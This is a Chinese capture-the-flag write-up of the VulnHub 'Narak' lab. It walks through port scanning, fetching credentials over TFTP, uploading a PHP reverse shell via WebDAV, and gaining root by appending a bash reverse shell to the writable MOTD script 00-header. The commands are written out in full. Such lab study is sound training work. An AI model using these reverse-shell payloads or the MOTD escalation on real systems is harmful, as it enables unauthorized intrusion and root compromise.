红队打靶:Narak打靶思路详解(vulnhub)

news2025/1/22 7:57:41

目录

写在开头

第一步:主机发现与端口扫描

第二步:Web渗透

第三步:tftp渗透

第四步:webdav利用

第五步:寻找敏感文件初步提权

第六步:motd利用提权

总结与思考

写在开头

 本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机对于寻找渗透测试的思路很有启发。当nmap常规扫描没有明显收获且web目录爆破也进行不下去时,应当去寻找UDP端口的开放情况。靶机难度不高,但涉及了像许多先前暂未触及的知识,包括tftp协议的使用、dav工具的使用、brainfuck语句和motd脚本提权。完整打靶思路详见:

「红队笔记」靶机精讲:Narak:不懂tftp、dav和motd渗透,就真的会觉得很brainfuck。_哔哩哔哩_bilibili

 本文针对的靶机源于vulnhub,详情见:

 HA: Narak ~ VulnHub

  下载链接见:

https://download.vulnhub.com/ha/narak.ova

 本靶机的目标是拿到两个flag,即user.txt和root.txt。顺道一提,这个靶机还挺有趣的,vulnhub中有这样一段相关描述,我这里直接翻译了: 

Narak在印度相当于地狱。你和地狱之主一起在深渊里。你能用你的hacking技能逃出Narak吗?燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。只要记住逃离Narak的终极咒语“枚举”。在取得root之后,你会同意“地狱是个不错的地方”。

 这描述还挺炫酷的,为什么说你最信任的工具也会在这次任务中背叛你?枚举的关键和目标又在何处?整个打靶下来回头看这个描述,确实还挺传神哈哈。

靶机下载成功后用vmware打开,将网络链接设置为NAT模式。靶机启动之后如下: 

第一步:主机发现与端口扫描

 虽然这一步是每个靶机的常规操作,但这个靶机的渗透过程却略显艰难,我们并没有从端口扫描的常规步骤得到想要的信息。我的kali的地址是10.10.10.128,扫描网段进行靶机的主机发现:

nmap -sn 10.10.10.0/24

发现靶机的地址是10.10.10.144,然后进行全端口扫描,-p-表示扫描所有端口,--min-rate 10000设定速率为10000:

nmap --min-rate 10000 -p- 10.10.10.144

 常规靶机的情况,仅仅开放了22和80端口,那大概率就是从80端口入手。再用默认脚本扫描查看这两个TCP端口的详细信息(服务版本、操作系统版本):

nmap -sT -sV -sC -O -p22,80 10.10.10.144

能看到一些常规的信息。再尝试进行UDP扫描:

貌似UDP扫描啥也没看出来,再试试漏洞脚本扫描:

nmap --script=vuln -p22,80 10.10.10.144 

看到了一些目录枚举的路径,还有CSRF的漏洞,还是有点收获的。 

第二步:Web渗透

 从80端口入手,我们先用浏览器访问靶机ip试试,看看有啥思路:

直接点开就是一大堆图片,查看网页源代码也没太多信息,感觉也没有什么CMS可言,界面的最下方是about,但也没啥信息,最下面有一个按钮,写着do not click,意思说别点,难道会有什么可怕的东西?我就要点!

 点击末尾的这个Do Not Click后,发现跳转到了一个界面,是一幅漫画图片:

这漫画大家自己看吧,我就不解释了,咱也不是来看漫画的。发现url中有个images,估计是个目录,我们试着访问/images/:

 就是个图片的目录,也没太多信息,不过说不定以后能在这个目录上传shell,现在也不好说。 走到这里貌似web也没太多信息可利用。因此我们再进行一下目录爆破,看看有啥收获,这次我们使用gobuster,dir指定目录爆破,-w指定字典:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.144

 可以发现有一个/webdav,那我们浏览器访问这个目录,发现需要认证,看来很可能这里就是个突破口。

 server-status目录没有太多信息:

 现在我们的核心思路应该就是寻找websav目录的凭据了。还有哪里我们没有寻找呢?此处想到了vulnhub页面的提示,“枚举”是关键。在使用gobuser进行爆破时,我们仅仅爆破了目录,没有对文件进行爆破,说不定一些关键文件就藏在其中,因此我们再次进行爆破,使用-x参数添加一些后缀名,包含可能的文件,比如rar/zip/txt/php/sql/html等等:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144

 我感觉最大的收获就是发现了tips.txt(index.html就是初始页面),那么curl访问一下咯(也可以用浏览器):

curl http://10.10.10.144/tips.txt   

 提示我们通往narak的门的线索可以在creds.txt找到,那么问题来了,creds.txt在哪里?难道也是在web目录可以直接访问的吗?

  哪有那么多低摘的果子,不可能这么简单。如果是我的话,走到这里就进行不下去了,接下来就跟着红队笔记大佬一起往下渗透吧。

第三步:tftp渗透

 此时思路受阻,我们知道需要寻找creds.txt,却不知道在哪里寻找。

我记得vulnhub的页面对于这个靶机的描述中有这样一句话: 燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。截至目前,我们用到了哪些工具呢?用nmap进行了主机发现和端口扫描,用gobuster进行了目录爆破。那会不会是我们被工具“背叛”了呢?莫非实际的结果并不是工具显示的那样?先说gobuster,我们进行web目录爆破可以用很多工具,其实没有本质区别,关键还是字典的问题,因此应该不是爆破工具的问题。莫非是nmap端口扫描的结果有误或者遗漏了什么?比如有可能遗漏了某些开放的UDP端口。(这段话是我看了红队笔记视频,自己再回想的时候想到的)

 我们当初端口扫描的时候显示没有任何开放的UDP端口,这里重新扫描一下,也是同样的结果。我们干脆尝试探测常见的UDP端口是否开放吧,先尝试top10常用的UDP端口:

nmap -sU --top-ports 10 10.10.10.144

确实,比如什么161,1434端口都是有可能开放的,但这些端口应该与我们要寻找creds.txt无关,再试试top20端口:

 nice,我们发现了tftp端口69,这是一个简单文件传输协议,用来在客户端和服务端进行文件传输,这个协议设计的时候是进行小文件传输的。因此它不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,不能列出目录,有兴趣的读者可以网上查查资料。下图源于百度百科:

 既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机:

tftp 10.10.10.144

 不愧是简单文件传输协议,不能ls,好在我们已经知道我们的目标是获取creds.txt,那我们就尝试get一下了: 

get creds.txt

nice,下载下来了,我们输入quit退出tftp,然后查看这个creds.txt:

貌似是个base64编码,我们解码一下:

cat creds.txt | base64 -d

 yamdoot:Swarg 

 成功拿到了凭据,这很可能是最初webdav目录的访问凭据!

第四步:webdav利用

回到webdav页面:输入用户名yamdoot,密码Swarg,可以进入到如下的页面

 这个页面也没啥东西呀?此时就涉及到对webdav的了解了,webdav是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源,那么我们现在就是企图获取webdav的权限,据此拿到初始shell。

 此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg 

 可以看到上传的文件类型如下:

基本上都可以上传,再看一下执行权限:

 发现是可以执行php文件的,因此我们可以尝试上传php类型的反弹shell,先编写一个shell.php,注意要写kali的ip:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

 然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:

cadaver http://10.10.10.144/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php

回到浏览器,可以看到我们上传的shell,那个DavTestDir_是我们刚刚用testdav工具尝试上传的目录:

此时我们开启nc监听1234端口,然后访问shell.php,即可触发反弹shell 

nc -lvnp 1234

第五步:寻找敏感文件初步提权

此时我们拿到了www-data的shell,通常我会sudo -l查看有什么可以利用的二进制文件,先用python3增强交互性后运行sudo -l结果显示需要密码:

python3 -c "import pty;pty.spawn('/bin/bash')"

 下一步就是可以查看计划任务、备份文件、suid的文件、可写文件等,总之寻找有没有一些ssh登录的凭据或是可以利用的提权文件:最终通过查找可写的文件发现了一些端倪:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,查看这个user.password,如下:

看来就是webdav的登录凭据,应该不是我们要找的ssh凭据。那查看hell.sh:

可以看到一行奇怪的文字:

 --[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

 有CTF的经验就可以知道,这是一种名为brainfuck的编程语言!

可是咱也不太懂这个语言,可以用beef工具进行解释,首先将brainfuck的字符存为一个文件hell.bf,然后用beef解释器翻译一下:

beef hell.bf

  解出了一串字符:

chitragupt 

这很可能是ssh的一个密码,那么是哪个用户名呢?我们可以查看/etc/passwd,寻找哪些账户有shell环境:

可以发现重点就是narak,yamdoot,inferno三个用户,依次尝试一下就可以发现chitragupt是用户inferno的ssh密码:

ssh inferno@10.10.10.144

第六步:motd利用提权

此时我们拿到了inferno的权限,先查看当前目录有啥:

意料之中,拿到了第一个flag即user.txt。下面的目标就是提权到root了。sudo -l也是此路不通

 因此接下来有两种大致思路,其一,和刚才类似,继续寻找高权限的凭据,也就是root的ssh凭据,其二:利用一些root高权限的工具/可执行文件/脚本等实现提权。同样,一番搜索之后,最终发现了一些能够利用的具有可写权限的文件:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限:

MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell,我们先查看一下这个文档:

然后我们通过vi工具编辑,或通过echo追加的方式,在其中添加反弹shell代码:

echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'" >> 00-header

 然后在kali中nc监听4444端口

 重新ssh登录inferno用户触发00-header脚本执行,从而触发反弹shell,又由于运行这个脚本时是具有root权限的(此处我有点疑惑),成功触发了反弹shell,且反弹的是root的shell,也就是提权成功了!

其中第二个flag是在root目录下的root.txt:

 至此打靶完成! 

总结与思考

 打这个靶机感觉还挺有收获的,主要是有一些先前不了解的知识点。比如tftp协议的使用、dav工具的使用、brainfuck语句和motd脚本提权等等。回看vulnhub对于靶机的描述:

Narak在印度相当于地狱。你和地狱之主一起在深渊里。你能用你的hacking技能逃出Narak吗?燃烧的墙壁和恶魔无处不在,即使你最信任的工具也会在这次任务中背叛你。不要相信任何人。只要记住逃离Narak的终极咒语“枚举”。在取得root之后,你会同意“地狱是个不错的地方”。

 还挺有感触的哈。我们被信任的工具nmap背叛了,nmap原以为没有UDP端口开放的,结果最后发现了tftp的69端口,这才有了寻找creds.txt的思路。 同时我们也通过不断的枚举找到了tips.txt,提示我们去寻找creds.txt。不过我并不认为“地狱是个不错的地方”,或许我们可以通过靶机这个地狱学习渗透的知识吧,哈哈。最后还是总结一下打靶的思路:

1.主机发现和端口扫描:常规思路,发现22和80端口,应该要从web入手。起初并未发现UDP端口。

2.Web渗透:目录爆破发现关键目录webdav,但访问需要凭据。文件爆破找到关键文件tips.txt,提示我们去寻找creds.txt

3.tftp渗透:回头再去寻找UDP端口,发现tftp端口可能开放,尝试利用这个协议读取creds.txt,下载成功,成功访问webdav。

4.webdav利用获取初始立足点:webdav貌似是个空目录,但它其实是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源。使用davtest测试webdav可以上传和执行哪些文件,发现可以上传并执行php,利用cadaver客户端上传反弹shell的php文件并访问shell.php,成功反弹了www-data的shell,获得了初始立足点。

5.寻找敏感文件初步提权,尝试查看sudo权限文件、计划任务、备份文件、suid的文件、可写文件等,最后在可写文件中发现了一个hell.sh,其中有一段brainfuck代码,用beef工具解码得到了一串字符,经尝试发现是用户名inferno的ssh密码。

6.motd利用提权:利用对00-header文件的可写权限,这是linux在登录时会运行的显示欢迎信息的脚本,在这个文件中添加反弹shell的代码,当该脚本执行时(再次登录ssh时)即可触发反弹shell。

不过我还有个小问题没解决:最后利用motd提权的时候添加反弹shell后再次登录为啥反弹的是root的shell啊,为什么不是反弹inferno的shell呢?毕竟登录的ssh用户是inferno。是motd的机制隐含了root的权限吗? 可以回头再查查资料研究一下。

 到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的,有很多新的知识点。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/966399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows下Redis的安装和配置

文章目录 一,Redis介绍二,Redis下载三,Redis安装-解压四,Redis配置五,Redis启动和关闭(通过terminal操作)六,Redis连接七,Redis使用 一,Redis介绍 远程字典服务,一个开源的,键值对形式的在线服务框架,值支持多数据结构,本文介绍windows下Redis的安装,配置相关,官网默认下载的是…

yo!这里是c++中的继承

目录 前言 概念定义 基类与派生类对象转换 作用域 派生类的默认成员函数 与友元&&与静态成员 菱形继承及菱形虚拟继承 多继承 菱形继承 虚拟继承 1.介绍 2.原理 继承总结 后记 前言 封装、继承、多态作为c的三大特性&#xff0c;在学完封装的有关内容之后…

OAuth2.0二 JWT以及Oauth2实现SSO

一 JWT 1.1 什么是JWT JSON Web Token&#xff08;JWT&#xff09;是一个开放的行业标准&#xff08;RFC 7519&#xff09;&#xff0c;它定义了一种简介的、自包含的协议格式&#xff0c;用于在通信双方传递json对象&#xff0c;传递的信息经过数字签名可以被验证和信任。JW…

python借助isinstance(item, (int, float))提取列表中的数字

如下一个列表[1,2,3,23, ,123] 借助isinstance(item, (int, float)) List [1,2,3,23, ,123] numbers [] # 遍历原始列表 for item in List:# 检查每个元素是否为数字&#xff08;整数或浮点数&#xff09;if isinstance(item, (int, float)):# 如果是数字&#xff0c;则添加…

Eclipse的安装(NEW~)

艾米&#xff0c;我擅长做很多事&#xff0c;但忘记你你并非其中一件。 随着IntelliJ IDEA在Java开发领域越来越广泛的被使用&#xff0c;Eclipse似乎快要退出舞台了。不过作为一款开源免费并拥有悠久历史的Java 开发IDE&#xff0c;总会有一批铁粉支持它&#xff0c;惦记着它。…

Ubuntu 20.04 LTS 安装Kubernetes 1.26

1、环境配置 (1)添加主机名称解析记录 cat > /etc/hosts << EOF 192.168.44.200 master01 master01.bypass.cn 192.168.44.201 node01 node01.bypass.cn 192.168.44.202 node02 node02.bypass.cn EOF(2)禁止K8s使用虚拟内存 swapoff -a sed -ri s(.*swap.*)#\1…

新手入门C语言安装IDE教程(以CLion,CodeBlocks,小熊猫)

前言 当时自己入门c语言时候老师让使用codeblocks&#xff0c;但是这玩意过于离谱了。 所以如果不是强求的话还是不建议codeblocks 个人推荐&#xff1a; 新手期刚学c语言: 可以先用用小熊猫c&#xff08;汉化版的devcpp&#xff09;然后下载个CLion&#xff08;Vscode你要是…

分享码云上8个宝藏又有价值的开源图片编辑器

如果你需要高效地处理图片&#xff0c;那么这8款实用工具是可以尝试的&#xff01; 它们能够进行一键抠图、放大、拼接、转矢量图、图标自动生成以及等操作&#xff0c;让你的工作效率飞升&#xff01; 在Gitee这个最有价值的开源项目计划是Gitee综合评定出的优秀开源项目的展示…

ModaHub魔搭社区——未来向量数据库会不像传统数据库那样,在国内涌现 200 多家出来?

I. 引言:数据库市场的持续扩张与向量数据库的崛起 随着技术的迭代速度越来越快,技术门槛也在逐渐降低,数据库市场的持续扩张是不可避免的。当前存在着大量的需求,这将吸引越来越多的数据库甚至向量数据库加入竞争。然而,从业界角度看,这种市场扩张是有利的。它可以促使更…

【人工智能】—_维度灾难、降维、主成分分析PCA、获取旧数据、非线性主成分分析

文章目录 高维数据与维度灾难维度灾难降维为什么需要降维&#xff1f;PRINCIPLE COMPONENT ANALYSIS主成分的几何图像最小化到直线距离的平方和举例主成分的代数推导优化问题计算主成分&#xff08;Principal Components, PCs&#xff09;的主要步骤获取旧数据的方法&#xff1…

计算一组数据中的低中位数即如果一组数据中有两个中位数则较小的那个为低中位数statistics.median_low()

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 计算一组数据中的低中位数 即如果一组数据中有两个中位数 则较小的那个为低中位数 statistics.median_low() 选择题 以下程序的运行结果是? import statistics data_1[1,2,3,4,5] data_2[1,2,…

IIR滤波器

IIR滤波器原理 IIR的特点是&#xff1a;非线性相位、消耗资源少。 IIR滤波器的系统函数与差分方程如下所示&#xff1a; 由差分方程可知IIR滤波器存在反馈&#xff0c;因此在FPGA设计时要考虑到有限字长效应带来的影响。差分方程中包括两个部分&#xff1a;输入信号x(n)的M节…

LLM学习笔记(1)

学习链接 ChatGPT Prompt Engineering for Developers - DeepLearning.AI 一、prompt engineering for developer 1、原则 prompting principles and iterative pattern 2、用于summarize 环境与helper functions import openai import osfrom dotenv import load_dotenv…

C语言深入理解指针(非常详细)(二)

目录 指针运算指针-整数指针-指针指针的关系运算 野指针野指针成因指针未初始化指针越界访问指针指向的空间释放 如何规避野指针指针初始化注意指针越界指针不使用时就用NULL避免返回局部变量的地址 assert断言指针的使用和传址调用传址调用例子&#xff08;strlen函数的实现&a…

MySQL 8.0.34安装教程

一、下载MySQL 1.官网下载 MySQL官网下载地址&#xff1a; MySQL :: MySQL Downloads &#xff0c;选择下载社区版&#xff08;平时项目开发足够了&#xff09; 2.点击下载MySQL Installer for Windows 3.选择版本8.0.34&#xff0c;并根据自己需求&#xff0c;选择下载全社区安…

2023开学礼新疆石河子大学图书馆藏八一新书《乡村振兴战略下传统村落文化旅游设计》许少辉新财经理工

2023开学礼新疆石河子大学图书馆藏八一新书《乡村振兴战略下传统村落文化旅游设计》许少辉新财经理工

监控服务器与Zabbix服务器时间同步配置

一、简介 zabbix server数据采集对时间同步的要求比较高&#xff0c;因为被监控的主机时间快了&#xff0c;会导致数据读取失败等问题&#xff0c;时间慢了&#xff0c;会有一堆的因为数据写入延时产生的误告警&#xff0c;会发生告警恢复时间比告警产生时间早的情况。此案列以…

CSS中如何实现文字渐变色效果(Text Gradient Color)?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 文字渐变色效果&#xff08;Text Gradient Color&#xff09;⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这…

MIT6.824 Spring2021 Lab 1: MapReduce

文章目录 0x00 准备0x01 MapReduce简介0x02 RPC0x03 调试0x04 代码coordinator.gorpc.goworker.go 0x00 准备 阅读MapReduce论文配置GO环境 因为之前没用过GO,所以 先在网上学了一下语法A Tour of Go 感觉Go的接口和方法的语法和C挺不一样, 并发编程也挺有意思 0x01 MapRed…

Navicat16安装教程

注&#xff1a;因版权原因&#xff0c;本文已去除破解相关的文件和内容 1、在本站下载解压后即可获得Navicat16安装包和破解补丁&#xff0c;如图所示 2、双击“navicat160_premium_cs_x64.exe”程序&#xff0c;即可进入安装界面&#xff0c; 3、点击下一步 4、如图所示勾选“…